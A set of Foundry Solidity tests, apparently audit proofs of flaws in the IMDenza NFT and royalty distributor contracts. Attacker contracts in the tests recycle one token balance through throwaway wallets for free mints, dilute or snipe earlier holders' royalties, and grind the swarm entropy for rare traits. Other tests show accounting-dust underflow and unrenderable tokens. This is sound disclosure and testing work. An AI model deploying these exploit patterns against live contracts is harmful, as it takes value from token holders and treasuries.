// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {SwarmHistory} from "src/SwarmHistory.sol";
import {IMDenzaField} from "src/IMDenzaField.sol";
import {IMDenzaRenderer} from "src/IMDenzaRenderer.sol";

/// @dev IMDenzaRenderer.traits: `_biased` returns 0..119 (seed byte % 100 pushed by -10..+10 from the
///      swarm entropy byte), but `t.density = _bucket(_biased(s, e, 2), 30, 75, 101)` returns 3 for
///      v >= 111. `_params` indexes `[45, 80, 120][t.density]` and `_attributes` indexes a string[3],
///      so svg()/tokenURI() panic (index out of bounds) for every token whose seed byte 2 % 100 plus
///      entropy byte 2 % 21 reaches 111. Such tokens can be minted (mint never renders) and are then
///      permanently un-renderable, since nothing is upgradeable.
contract DensityBucketTest is Test {
    SwarmHistory swarm;
    IMDenzaField field;
    IMDenzaRenderer renderer;

    function setUp() public {
        swarm = new SwarmHistory();
        field = new IMDenzaField();
        renderer = new IMDenzaRenderer(address(swarm), address(field));
    }

    function _find(bytes32 entropy, uint256 tokenId) internal view returns (IMDenzaRenderer.Piece memory p) {
        // entropy byte 2 = 20 -> +10 bias; need seed byte 2 % 100 >= 91 so that v >= 111.
        for (uint256 i; i < 5000; ++i) {
            bytes32 h = keccak256(abi.encodePacked("imdenza", i));
            bytes32 s = keccak256(abi.encodePacked(h, entropy, tokenId));
            if (uint8(s[2]) % 100 >= 91) {
                return IMDenzaRenderer.Piece({
                    tokenId: tokenId,
                    tokenHash: h,
                    swarmEntropy: entropy,
                    swarmJobIndex: 0,
                    typeProfile: 0
                });
            }
        }
        revert("no hash found");
    }

    function test_densityBucketThreeMakesTokenUriRevert() public view {
        bytes32 entropy = bytes32(uint256(20) << (8 * 29)); // byte 2 == 20 (e[2] % 21 == 20)
        IMDenzaRenderer.Piece memory p = _find(entropy, 1);

        IMDenzaRenderer.Traits memory t = renderer.traits(p);
        // Density has three named buckets (Sparse/Medium/Dense); a fourth value must never be produced.
        assertLe(t.density, 2, "density bucket out of range");

        // With the defect, both of these panic with 0x32 (array out of bounds) and the piece can never be rendered.
        string memory uri = renderer.tokenURI(p);
        assertGt(bytes(uri).length, 0);
        string memory s = renderer.svg(p);
        assertGt(bytes(s).length, 0);
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {IMDenzaDistributor} from "src/IMDenzaDistributor.sol";

/// @dev Minimal stand-in for the IMDenza collection: sequential ids, fixed owners.
contract FakeNft {
    uint256 public totalMinted;
    mapping(uint256 => address) public owners;
    IMDenzaDistributor public dist;

    constructor() {
        dist = new IMDenzaDistributor();
    }

    function mint(address to) external returns (uint256 id) {
        id = ++totalMinted;
        owners[id] = to;
    }

    function ownerOf(uint256 id) external view returns (address) {
        require(owners[id] != address(0), "nonexistent");
        return owners[id];
    }
}

/// @dev IMDenzaDistributor.distribute credits `perToken = U * 1e18 / minted` to every token (acc units
///      worth up to U) but only reserves `attributed = perToken * minted / 1e18`, which floors to U - 1
///      whenever minted does not divide U * 1e18. The 1 wei of dust stays "unattributed" and is counted
///      AGAIN by the next distribute, so the accumulator is credited more value than the contract ever
///      received. Once the overcredit crosses one acc unit per token, the sum of pending exceeds both
///      `reserved` and the balance, and the last holder to claim reverts (reserved underflow) on their
///      whole claim, including any large later distribution that was accounted correctly.
contract DistributorDustTest is Test {
    FakeNft nft;
    IMDenzaDistributor dist;
    address constant ETH = address(0);
    address a = makeAddr("a");
    address b = makeAddr("b");
    address c = makeAddr("c");

    function setUp() public {
        nft = new FakeNft();
        dist = nft.dist();
        nft.mint(a);
        nft.mint(b);
        nft.mint(c);
    }

    function _ids(uint256 id) internal pure returns (uint256[] memory ids) {
        ids = new uint256[](1);
        ids[0] = id;
    }

    function test_dustDoubleCountBlocksLastClaimer() public {
        // Four 1-wei royalty payments, each distributed as it arrives (anyone may call distribute).
        for (uint256 i; i < 4; ++i) {
            vm.deal(address(dist), address(dist).balance + 1);
            dist.distribute(ETH);
        }
        uint256 sumPending = dist.pending(ETH, 1) + dist.pending(ETH, 2) + dist.pending(ETH, 3);
        // Invariant: what the tokens can claim never exceeds what the contract holds.
        assertLe(sumPending, address(dist).balance, "pending exceeds balance");

        // A correctly-divisible 3 ETH distribution follows.
        vm.deal(address(dist), address(dist).balance + 3 ether);
        dist.distribute(ETH);

        // Every holder must be able to claim their share.
        dist.claim(ETH, _ids(1));
        dist.claim(ETH, _ids(2));
        dist.claim(ETH, _ids(3)); // reverts with arithmetic underflow on `reserved[asset] -= amount`
        assertGe(c.balance, 1 ether);
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {SwarmHistory} from "src/SwarmHistory.sol";
import {IMDenzaField} from "src/IMDenzaField.sol";
import {IMDenzaRenderer} from "src/IMDenzaRenderer.sol";
import {IMDenza} from "src/IMDenza.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";

contract ProofERC20 is ERC20 {
    constructor() ERC20("Identity.md", "IMD") {}

    function mint(address to, uint256 amount) external {
        _mint(to, amount);
    }
}

/// @notice claimWithImd() has no per-asset reuse guard: the same 26 IMD moved to a fresh wallet
///         passes the holding check again. Fails on the current code (the second and third claims
///         succeed); passes once a claim consumes, locks or otherwise binds the IMD it was based on.
contract ImdClaimCycleProof is Test {
    IMDenza nft;
    ProofERC20 imd;
    address alice = makeAddr("alice");
    address bob = makeAddr("bob");
    address carol = makeAddr("carol");

    function setUp() public {
        vm.roll(20_000_000);
        vm.warp(1_760_000_000);
        SwarmHistory swarm = new SwarmHistory();
        IMDenzaField field = new IMDenzaField();
        IMDenzaRenderer renderer = new IMDenzaRenderer(address(swarm), address(field));
        nft = new IMDenza(makeAddr("configurator"), address(renderer), address(swarm));
        vm.etch(nft.IMD_TOKEN_A(), address(new ProofERC20()).code);
        imd = ProofERC20(nft.IMD_TOKEN_A());
    }

    function test_sameImdCannotBackASecondWalletsFreeClaim() public {
        imd.mint(alice, 26 ether);
        vm.prank(alice);
        nft.claimWithImd();
        assertEq(nft.balanceOf(alice), 1);

        // Move whatever alice still holds to bob in the same block and try again.
        uint256 left = imd.balanceOf(alice);
        vm.prank(alice);
        imd.transfer(bob, left);
        vm.prank(bob);
        vm.expectRevert();
        nft.claimWithImd();

        // And on to carol.
        left = imd.balanceOf(bob);
        vm.prank(bob);
        imd.transfer(carol, left);
        vm.prank(carol);
        vm.expectRevert();
        nft.claimWithImd();

        // Only the wallet that actually held >25 IMD at the start minted.
        assertEq(nft.totalMinted(), 1);
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {IERC20} from "forge-std/interfaces/IERC20.sol";
import {SwarmHistory} from "src/SwarmHistory.sol";
import {IMDenzaField} from "src/IMDenzaField.sol";
import {IMDenzaRenderer} from "src/IMDenzaRenderer.sol";
import {IMDenza} from "src/IMDenza.sol";

/// @dev Minimal ERC-20 etched at the IMD token address.
contract ProofERC20 {
    string public name = "Identity.md";
    string public symbol = "IMD";
    uint8 public decimals = 18;
    uint256 public totalSupply;
    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;

    function mint(address to, uint256 amount) external {
        balanceOf[to] += amount;
        totalSupply += amount;
    }

    function approve(address spender, uint256 amount) external returns (bool) {
        allowance[msg.sender][spender] = amount;
        return true;
    }

    function transfer(address to, uint256 amount) external returns (bool) {
        balanceOf[msg.sender] -= amount;
        balanceOf[to] += amount;
        return true;
    }

    function transferFrom(address from, address to, uint256 amount) external returns (bool) {
        allowance[from][msg.sender] -= amount;
        balanceOf[from] -= amount;
        balanceOf[to] += amount;
        return true;
    }
}

/// @dev One throwaway "wallet": claims once, hands the IMD back.
contract Child {
    function run(IMDenza nft, IERC20 imd, address back) external {
        nft.claimWithImd();
        imd.transfer(back, imd.balanceOf(address(this)));
    }

    function onERC721Received(address, address, uint256, bytes calldata) external pure returns (bytes4) {
        return this.onERC721Received.selector;
    }
}

/// @dev Recycles the same 26 IMD through fresh wallets, one free claim each, in a single transaction.
contract Sybil {
    function drain(IMDenza nft, IERC20 imd, uint256 n) external {
        for (uint256 i; i < n; ++i) {
            Child c = new Child();
            imd.transfer(address(c), 26 ether);
            c.run(nft, imd, address(this));
        }
    }
}

contract SybilImdClaimProof is Test {
    IMDenza nft;
    ProofERC20 imd;
    Sybil sybil;

    function setUp() public {
        vm.roll(20_000_000);
        vm.warp(1_760_000_000);
        SwarmHistory swarm = new SwarmHistory();
        IMDenzaField field = new IMDenzaField();
        IMDenzaRenderer renderer = new IMDenzaRenderer(address(swarm), address(field));
        nft = new IMDenza(address(0xBEEF), address(renderer), address(swarm));
        vm.etch(nft.IMD_TOKEN_A(), address(new ProofERC20()).code);
        imd = ProofERC20(nft.IMD_TOKEN_A());
        sybil = new Sybil();
        imd.mint(address(sybil), 26 ether);
    }

    /// Expected: one wallet holding 26 IMD is entitled to one free piece; every further piece costs
    /// 0.069 IMD and pays holders and the treasury.
    /// Actual: 26 IMD recycled through 50 throwaway wallets mints 50 pieces for free in one
    /// transaction, with zero proceeds to anyone, and the attacker still holds the 26 IMD.
    function test_oneWalletWith26ImdCannotMintMoreThanOnePieceForFree() public {
        uint256 n = 50;
        try sybil.drain(nft, IERC20(address(imd)), n) {} catch {}

        // Whatever the attacker tried, 26 IMD must not buy more than one free piece.
        assertLe(nft.totalMinted(), 1, "26 IMD minted more than one free piece");
        // Sanity on what the attacker ends up with (holds true before and after a fix).
        assertEq(imd.balanceOf(address(sybil)), 26 ether);
        assertEq(imd.balanceOf(nft.TREASURY()), 0);
        assertEq(imd.balanceOf(address(nft.distributor())), 0);
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {SwarmHistory} from "src/SwarmHistory.sol";
import {IMDenzaField} from "src/IMDenzaField.sol";
import {IMDenzaRenderer} from "src/IMDenzaRenderer.sol";
import {IMDenza} from "src/IMDenza.sol";
import {IMDenzaDistributor} from "src/IMDenzaDistributor.sol";

/// @dev Minimal ERC-20 etched at the IMD token address so wallets can take the free IMD claim.
contract ProofERC20 {
    uint8 public decimals = 18;
    mapping(address => uint256) public balanceOf;

    function mint(address to, uint256 amount) external {
        balanceOf[to] += amount;
    }
}

contract ReservedUnderflowProof is Test {
    IMDenza nft;
    IMDenzaDistributor dist;
    ProofERC20 imd;
    address constant ETH = address(0);

    function setUp() public {
        vm.roll(20_000_000);
        vm.warp(1_760_000_000);
        SwarmHistory swarm = new SwarmHistory();
        IMDenzaField field = new IMDenzaField();
        IMDenzaRenderer renderer = new IMDenzaRenderer(address(swarm), address(field));
        nft = new IMDenza(address(0xBEEF), address(renderer), address(swarm));
        dist = nft.distributor();
        vm.etch(nft.IMD_TOKEN_A(), address(new ProofERC20()).code);
        imd = ProofERC20(nft.IMD_TOKEN_A());
    }

    function _claim(address who) internal returns (uint256 id) {
        imd.mint(who, 26 ether);
        vm.prank(who);
        id = nft.claimWithImd();
    }

    /// Six holders; after each mint a royalty of the given size arrives and is distributed.
    /// Expected: every holder can claim what `pending` reports, and the sum never exceeds what arrived.
    /// Actual: `reserved` is incremented by the floored `attributed` while the accumulator credits
    /// tokens with the sub-wei remainder, and the dust is distributed a second time; the sixth
    /// holder's claim reverts with an arithmetic underflow in `reserved[asset] -= amount`.
    function test_everyHolderCanClaimWhatPendingReports() public {
        uint256[6] memory amounts = [uint256(12439), 512, 794, 60, 12439, 512];
        uint256 total;
        for (uint256 i; i < 6; ++i) {
            _claim(makeAddr(string(abi.encodePacked("h", i))));
            vm.deal(address(dist), address(dist).balance + amounts[i]);
            dist.distribute(ETH);
            total += amounts[i];
        }

        uint256 sumPending;
        for (uint256 id = 1; id <= 6; ++id) {
            sumPending += dist.pending(ETH, id);
        }
        // Credits exceed what was reserved for them: this is the root cause.
        assertLe(sumPending, dist.reserved(ETH), "pending credits exceed reserved");

        uint256 claimed;
        for (uint256 id = 1; id <= 6; ++id) {
            uint256[] memory ids = new uint256[](1);
            ids[0] = id;
            uint256 p = dist.pending(ETH, id);
            if (p == 0) continue;
            claimed += dist.claim(ETH, ids); // reverts for id 6 on the current code
        }
        assertLe(claimed, total);
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {SwarmHistory} from "src/SwarmHistory.sol";
import {IMDenzaField} from "src/IMDenzaField.sol";
import {IMDenzaRenderer} from "src/IMDenzaRenderer.sol";
import {IMDenza} from "src/IMDenza.sol";
import {IMDenzaDistributor} from "src/IMDenzaDistributor.sol";

/// @dev Minimal ERC-20 etched at the IMD token address.
contract ProofERC20 {
    uint8 public decimals = 18;
    uint256 public totalSupply;
    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;

    function mint(address to, uint256 amount) external {
        balanceOf[to] += amount;
        totalSupply += amount;
    }

    function approve(address spender, uint256 amount) external returns (bool) {
        allowance[msg.sender][spender] = amount;
        return true;
    }

    function transfer(address to, uint256 amount) external returns (bool) {
        balanceOf[msg.sender] -= amount;
        balanceOf[to] += amount;
        return true;
    }

    function transferFrom(address from, address to, uint256 amount) external returns (bool) {
        allowance[from][msg.sender] -= amount;
        balanceOf[from] -= amount;
        balanceOf[to] += amount;
        return true;
    }
}

/// @dev Buys `n` pieces at the public price and immediately attributes the royalty pot to them.
contract Diluter {
    function run(IMDenza nft, ProofERC20 imd, uint256 n) external {
        uint256 price = nft.mintPrice(address(imd));
        imd.approve(address(nft), price * n);
        for (uint256 i; i < n; ++i) {
            nft.mint(address(imd));
        }
        nft.distributor().distribute(address(0));
    }

    function onERC721Received(address, address, uint256, bytes calldata) external pure returns (bytes4) {
        return this.onERC721Received.selector;
    }
}

contract PendingRoyaltyDilutionProof is Test {
    IMDenza nft;
    IMDenzaDistributor dist;
    ProofERC20 imd;
    address alice = makeAddr("alice");
    address constant ETH = address(0);

    function setUp() public {
        vm.roll(20_000_000);
        vm.warp(1_760_000_000);
        SwarmHistory swarm = new SwarmHistory();
        IMDenzaField field = new IMDenzaField();
        IMDenzaRenderer renderer = new IMDenzaRenderer(address(swarm), address(field));
        nft = new IMDenza(address(0xBEEF), address(renderer), address(swarm));
        dist = nft.distributor();
        vm.etch(nft.IMD_TOKEN_A(), address(new ProofERC20()).code);
        imd = ProofERC20(nft.IMD_TOKEN_A());
    }

    /// Alice is the only holder when a 10 ETH royalty is paid to the distributor.
    /// Expected: the royalty belongs to the holders at the time it was paid, so Alice can claim 10 ETH
    /// (the README: "Pieces minted later never share earlier distributions").
    /// Actual: before anyone calls `distribute(ETH)`, a diluter mints 9 pieces for 9 x 0.069 IMD and
    /// attributes the pot itself; Alice is left with 1 ETH and the diluter's new pieces take 9 ETH.
    function test_royaltyPaidWhileAliceWasSoleHolderBelongsToAlice() public {
        imd.mint(alice, 26 ether);
        vm.prank(alice);
        uint256 a = nft.claimWithImd();

        // OpenSea pays a 10 ETH royalty (6.9% of a ~145 ETH sale) to the distributor.
        (bool ok,) = address(dist).call{value: 10 ether}("");
        assertTrue(ok);

        Diluter d = new Diluter();
        imd.mint(address(d), 1 ether);
        d.run(nft, imd, 9);

        assertEq(dist.pending(ETH, a), 10 ether, "royalty paid to the sole holder was redirected to later mints");
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {SwarmHistory} from "src/SwarmHistory.sol";
import {IMDenzaField} from "src/IMDenzaField.sol";
import {IMDenzaRenderer} from "src/IMDenzaRenderer.sol";
import {IMDenza} from "src/IMDenza.sol";

/// @dev Minimal ERC-20 etched at the IMD token address so the grinder can take the free IMD claim.
contract ProofERC20 {
    uint8 public decimals = 18;
    mapping(address => uint256) public balanceOf;

    function mint(address to, uint256 amount) external {
        balanceOf[to] += amount;
    }
}

/// @dev Minter that, inside its own mint transaction, appends junk swarm records until the piece it
///      is about to receive has the rarest scale trait (3 = Jumbo), then claims.
contract Grinder {
    IMDenza immutable nft;
    SwarmHistory immutable swarm;
    IMDenzaRenderer immutable renderer;
    uint256 nonce;

    constructor(IMDenza nft_) {
        nft = nft_;
        swarm = nft_.swarm();
        renderer = nft_.renderer();
    }

    function grindAndClaim(uint8 wantedScale, uint256 maxTries) external returns (uint256 tokenId) {
        uint256 id = nft.totalMinted() + 1;
        bytes32 h = keccak256(
            abi.encodePacked(id, blockhash(block.number - 1), block.prevrandao, address(this), block.number, block.timestamp)
        );
        while (nft.tokenHashUsed(h)) h = keccak256(abi.encodePacked(h));
        for (uint256 i; i < maxTries; ++i) {
            (bytes32 entropy, uint256 jobCount, uint64 profile) = swarm.snapshot();
            IMDenzaRenderer.Piece memory p = IMDenzaRenderer.Piece({
                tokenId: id,
                tokenHash: h,
                swarmEntropy: entropy,
                swarmJobIndex: jobCount,
                typeProfile: profile
            });
            if (renderer.traits(p).scale == wantedScale) break;
            // Permissionless ledger: any record changes the entropy the mint will snapshot.
            try swarm.recordJob(keccak256(abi.encode(address(this), nonce++)), 7, 1, 0, uint40(block.timestamp)) {}
            catch {
                break;
            }
        }
        tokenId = nft.claimWithImd();
    }

    function onERC721Received(address, address, uint256, bytes calldata) external pure returns (bytes4) {
        return this.onERC721Received.selector;
    }
}

contract TraitGrindingProof is Test {
    IMDenza nft;
    ProofERC20 imd;

    function setUp() public {
        vm.roll(20_000_000);
        vm.warp(1_760_000_000);
        vm.prevrandao(bytes32(uint256(0xabc)));
        SwarmHistory swarm = new SwarmHistory();
        IMDenzaField field = new IMDenzaField();
        IMDenzaRenderer renderer = new IMDenzaRenderer(address(swarm), address(field));
        nft = new IMDenza(address(0xBEEF), address(renderer), address(swarm));
        vm.etch(nft.IMD_TOKEN_A(), address(new ProofERC20()).code);
        imd = ProofERC20(nft.IMD_TOKEN_A());
    }

    /// Scale 3 (Jumbo) has roughly an 8% chance per piece. Five independent minters all receiving
    /// Jumbo by chance has probability ~3e-6.
    /// Expected: a minter cannot choose its traits; at least one of five pieces is not Jumbo.
    /// Actual: each minter rerolls the swarm entropy inside its own transaction until the piece is
    /// Jumbo, and all five pieces come out Jumbo.
    function test_minterCannotChooseItsTraits() public {
        uint256 jumbo;
        for (uint256 i; i < 5; ++i) {
            Grinder g = new Grinder(nft);
            imd.mint(address(g), 26 ether);
            uint256 id = g.grindAndClaim(3, 200);
            if (nft.traits(id).scale == 3) jumbo++;
        }
        assertLt(jumbo, 5, "every minter picked the rarest scale trait");
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {SwarmHistory} from "src/SwarmHistory.sol";
import {IMDenzaField} from "src/IMDenzaField.sol";
import {IMDenzaRenderer} from "src/IMDenzaRenderer.sol";
import {IMDenza} from "src/IMDenza.sol";

/// @dev Minimal IMD stand-in: everyone holds 1000 tokens, 18 decimals.
contract FakeImd {
    function decimals() external pure returns (uint8) {
        return 18;
    }

    function balanceOf(address) external pure returns (uint256) {
        return 1000 ether;
    }
}

/// @notice Density trait can reach bucket 3 once the swarm entropy is non-zero; the renderer then
///         indexes 3-element arrays with 3 and `svg`/`tokenURI` revert with Panic(0x32) forever.
contract DensityPanicProof is Test {
    SwarmHistory swarm;
    IMDenza nft;
    IMDenzaRenderer renderer;

    function setUp() public {
        vm.roll(20_000_000);
        vm.warp(1_760_000_000);
        swarm = new SwarmHistory();
        IMDenzaField field = new IMDenzaField();
        renderer = new IMDenzaRenderer(address(swarm), address(field));
        nft = new IMDenza(address(0xBEEF), address(renderer), address(swarm));
        vm.etch(nft.IMD_TOKEN_A(), address(new FakeImd()).code);
    }

    function test_tokenWithHighDensityBiasRenders() public {
        // Record swarm jobs until entropy byte 2 gives the maximum +10 density bias (e[2] % 21 == 20).
        uint256 i;
        while (uint8(swarm.entropy()[2]) % 21 != 20) {
            swarm.recordJob(bytes32(++i), uint8(i % 8), 1, 1, uint40(block.timestamp));
            require(i < 2000, "no entropy found");
        }
        // Mint from fresh wallets until a seed with byte 2 % 100 >= 91 lands (about one in fourteen).
        uint256 id;
        for (uint256 k = 1; k < 400; ++k) {
            address w = address(uint160(0x1000 + k));
            vm.prank(w);
            uint256 minted = nft.claimWithImd();
            if (uint8(nft.seedOf(minted)[2]) % 100 >= 91) {
                id = minted;
                break;
            }
        }
        require(id != 0, "no seed found");
        IMDenzaRenderer.Traits memory t = nft.traits(id);
        // Expected: density is one of the three documented buckets.
        assertLe(t.density, 2, "density bucket out of range");
        // Expected: every minted token renders. Actual: Panic(0x32) array out-of-bounds.
        string memory s = nft.svg(id);
        assertGt(bytes(s).length, 1000);
        string memory uri = nft.tokenURI(id);
        assertGt(bytes(uri).length, 1000);
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {SwarmHistory} from "src/SwarmHistory.sol";
import {IMDenzaField} from "src/IMDenzaField.sol";
import {IMDenzaRenderer} from "src/IMDenzaRenderer.sol";
import {IMDenza} from "src/IMDenza.sol";
import {IMDenzaDistributor} from "src/IMDenzaDistributor.sol";

contract FakeImd {
    function decimals() external pure returns (uint8) {
        return 18;
    }

    function balanceOf(address) external pure returns (uint256) {
        return 1000 ether;
    }
}

/// @notice ETH royalties that reached the distributor before a token existed are shared with that
///         token if it is minted before anyone calls `distribute(ETH)`. A minter can do both in one
///         transaction and take a share of value earned by earlier holders.
contract RoyaltySnipeProof is Test {
    IMDenza nft;
    IMDenzaDistributor dist;
    address constant ETH = address(0);
    address a = address(0xA1);
    address b = address(0xB1);
    address sniper = address(0x5111);

    function setUp() public {
        vm.roll(20_000_000);
        vm.warp(1_760_000_000);
        SwarmHistory swarm = new SwarmHistory();
        IMDenzaField field = new IMDenzaField();
        IMDenzaRenderer renderer = new IMDenzaRenderer(address(swarm), address(field));
        nft = new IMDenza(address(0xBEEF), address(renderer), address(swarm));
        dist = nft.distributor();
        vm.etch(nft.IMD_TOKEN_A(), address(new FakeImd()).code);
        vm.prank(a);
        nft.claimWithImd(); // token 1
        vm.prank(b);
        nft.claimWithImd(); // token 2
    }

    function test_laterMintDoesNotShareRoyaltiesEarnedBeforeIt() public {
        // 3 ETH of royalties land while only tokens 1 and 2 exist.
        (bool ok,) = address(dist).call{value: 3 ether}("");
        assertTrue(ok);
        // Sniper mints token 3 and attributes the balance in the same transaction.
        vm.startPrank(sniper);
        uint256 id = nft.claimWithImd();
        // (a low-level call: once the mint itself attributes pending ETH first, this is a no-op revert)
        address(dist).call(abi.encodeWithSignature("distribute(address)", ETH));
        vm.stopPrank();
        // Expected: tokens 1 and 2 split the 3 ETH; token 3 gets nothing of it.
        assertEq(dist.pending(ETH, id), 0, "later mint shares earlier royalties");
        assertEq(dist.pending(ETH, 1), 1.5 ether);
        assertEq(dist.pending(ETH, 2), 1.5 ether);
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {SwarmHistory} from "src/SwarmHistory.sol";
import {IMDenzaField} from "src/IMDenzaField.sol";
import {IMDenzaRenderer} from "src/IMDenzaRenderer.sol";
import {IMDenza} from "src/IMDenza.sol";

/// @dev Minimal real-balance ERC-20 (18 decimals) etched at the IMD address.
contract MiniImd {
    mapping(address => uint256) public balanceOf;

    function decimals() external pure returns (uint8) {
        return 18;
    }

    function mint(address to, uint256 amount) external {
        balanceOf[to] += amount;
    }

    function transfer(address to, uint256 amount) external returns (bool) {
        balanceOf[msg.sender] -= amount;
        balanceOf[to] += amount;
        return true;
    }
}

/// @dev One disposable wallet: claims, then hands the IMD back to its operator.
contract Drone {
    function onERC721Received(address, address, uint256, bytes calldata) external pure returns (bytes4) {
        return this.onERC721Received.selector;
    }

    function run(IMDenza nft, MiniImd imd, address back) external returns (uint256 id) {
        id = nft.claimWithImd();
        imd.transfer(back, imd.balanceOf(address(this)));
    }
}

/// @notice One 26-IMD balance, moved from drone to drone inside a single transaction, mints as
///         many free pieces as the operator wants: the "one per wallet" claim bound is per address
///         and the holding is only checked at the instant of the call.
contract SybilClaimProof is Test {
    IMDenza nft;
    MiniImd imd;

    function setUp() public {
        vm.roll(20_000_000);
        vm.warp(1_760_000_000);
        SwarmHistory swarm = new SwarmHistory();
        IMDenzaField field = new IMDenzaField();
        IMDenzaRenderer renderer = new IMDenzaRenderer(address(swarm), address(field));
        nft = new IMDenza(address(0xBEEF), address(renderer), address(swarm));
        vm.etch(nft.IMD_TOKEN_A(), address(new MiniImd()).code);
        imd = MiniImd(nft.IMD_TOKEN_A());
    }

    function test_oneBalanceYieldsOneFreeClaim() public {
        imd.mint(address(this), 26 ether);
        uint256 minted;
        for (uint256 i; i < 50; ++i) {
            Drone d = new Drone();
            imd.transfer(address(d), 26 ether);
            try d.run(nft, imd, address(this)) returns (uint256) {
                ++minted;
            } catch {}
        }
        assertEq(imd.balanceOf(address(this)), 26 ether);
        // Expected: 26 IMD backs at most one free piece. Actual: 50 pieces, no IMD spent.
        assertLe(minted, 1, "one IMD balance produced many free claims");
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {SwarmHistory} from "src/SwarmHistory.sol";
import {IMDenzaField} from "src/IMDenzaField.sol";
import {IMDenzaRenderer} from "src/IMDenzaRenderer.sol";
import {IMDenza} from "src/IMDenza.sol";
import {IMDenzaDistributor} from "src/IMDenzaDistributor.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";

contract DustImd is ERC20 {
    constructor() ERC20("IMD", "IMD") {}

    function mint(address to, uint256 amount) external {
        _mint(to, amount);
    }
}

/// @notice Proof: IMDenzaDistributor.distribute credits `perToken * minted` accumulator units to
///         the tokens but only adds `floor(perToken * minted / 1e18)` to `reserved`. Whenever
///         `unattributed * 1e18` is not divisible by `minted`, that is one wei less than what was
///         credited, and the same wei is counted as "unattributed" again on the next call. The
///         accumulators therefore promise more than the contract holds, `reserved` runs short, and
///         the last holder to claim reverts with an arithmetic underflow in `reserved -= amount`.
contract DistributorDustProof is Test {
    address constant ETH = address(0);
    address constant CONFIGURATOR = 0x3d6a89C8751a45DD577a4C1F3b34E71C58236193;

    IMDenza nft;
    IMDenzaDistributor dist;
    address[3] holders = [address(0xA11CE), address(0xB0B), address(0xCA201)];

    function setUp() public {
        vm.roll(20_000_000);
        vm.warp(1_760_000_000);
        SwarmHistory swarm = new SwarmHistory();
        IMDenzaField field = new IMDenzaField();
        IMDenzaRenderer renderer = new IMDenzaRenderer(address(swarm), address(field));
        nft = new IMDenza(CONFIGURATOR, address(renderer), address(swarm));
        dist = nft.distributor();
        vm.etch(nft.IMD_TOKEN_A(), address(new DustImd()).code);
        for (uint256 i; i < 3; ++i) {
            DustImd(nft.IMD_TOKEN_A()).mint(holders[i], 26 ether);
            vm.prank(holders[i]);
            nft.claimWithImd();
        }
    }

    function _one(uint256 id) internal pure returns (uint256[] memory ids) {
        ids = new uint256[](1);
        ids[0] = id;
    }

    /// @dev Three ordinary royalty payments of 5 wei to 3 holders. Expected: every holder can claim
    ///      and the claims never exceed the balance. Actual: the third claim reverts (underflow),
    ///      because the holders are owed 15 wei in total while `reserved` is only 14.
    function test_lastClaimantRevertsAfterOrdinaryDistributions() public {
        for (uint256 d; d < 3; ++d) {
            vm.deal(address(dist), address(dist).balance + 5);
            dist.distribute(ETH);
        }
        uint256 balance = address(dist).balance;
        uint256 owed;
        for (uint256 i = 1; i <= 3; ++i) {
            owed += dist.pending(ETH, i);
        }
        assertLe(owed, balance, "distributor promises more than it holds");
        for (uint256 i = 1; i <= 3; ++i) {
            // Expected: each claim succeeds (the contract does hold the 15 wei it owes).
            dist.claim(ETH, _one(i));
        }
    }

    /// @dev Calling `distribute` again with no new value must be a no-op (revert NothingToDistribute).
    ///      Actual: the leftover wei is re-attributed on every call, inflating every token's pending
    ///      balance without any new funds, until the total claimable exceeds the balance.
    function test_repeatedDistributeInflatesPendingWithoutNewFunds() public {
        vm.deal(address(dist), 5);
        dist.distribute(ETH);
        for (uint256 k; k < 6; ++k) {
            // Under correct accounting these revert with NothingToDistribute; tolerate either way.
            try dist.distribute(ETH) {} catch {}
        }
        uint256 owed;
        for (uint256 i = 1; i <= 3; ++i) {
            owed += dist.pending(ETH, i);
        }
        assertLe(owed, address(dist).balance, "pending inflated beyond balance by repeated distribute");
        for (uint256 i = 1; i <= 3; ++i) {
            dist.claim(ETH, _one(i));
        }
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {SwarmHistory} from "src/SwarmHistory.sol";
import {IMDenzaField} from "src/IMDenzaField.sol";
import {IMDenzaRenderer} from "src/IMDenzaRenderer.sol";

/// @dev IMDenzaRenderer.traits: `_biased` returns 0..119 (seed byte % 100 pushed by -10..+10 from the
///      swarm entropy byte), but `t.density = _bucket(_biased(s, e, 2), 30, 75, 101)` returns 3 for
///      v >= 111. `_params` indexes `[45, 80, 120][t.density]` and `_attributes` indexes a string[3],
///      so svg()/tokenURI() panic (index out of bounds) for every token whose seed byte 2 % 100 plus
///      entropy byte 2 % 21 reaches 111. Such tokens can be minted (mint never renders) and are then
///      permanently un-renderable, since nothing is upgradeable.
contract DensityBucketTest is Test {
    SwarmHistory swarm;
    IMDenzaField field;
    IMDenzaRenderer renderer;

    function setUp() public {
        swarm = new SwarmHistory();
        field = new IMDenzaField();
        renderer = new IMDenzaRenderer(address(swarm), address(field));
    }

    function _find(bytes32 entropy, uint256 tokenId) internal view returns (IMDenzaRenderer.Piece memory p) {
        // entropy byte 2 = 20 -> +10 bias; need seed byte 2 % 100 >= 91 so that v >= 111.
        for (uint256 i; i < 5000; ++i) {
            bytes32 h = keccak256(abi.encodePacked("imdenza", i));
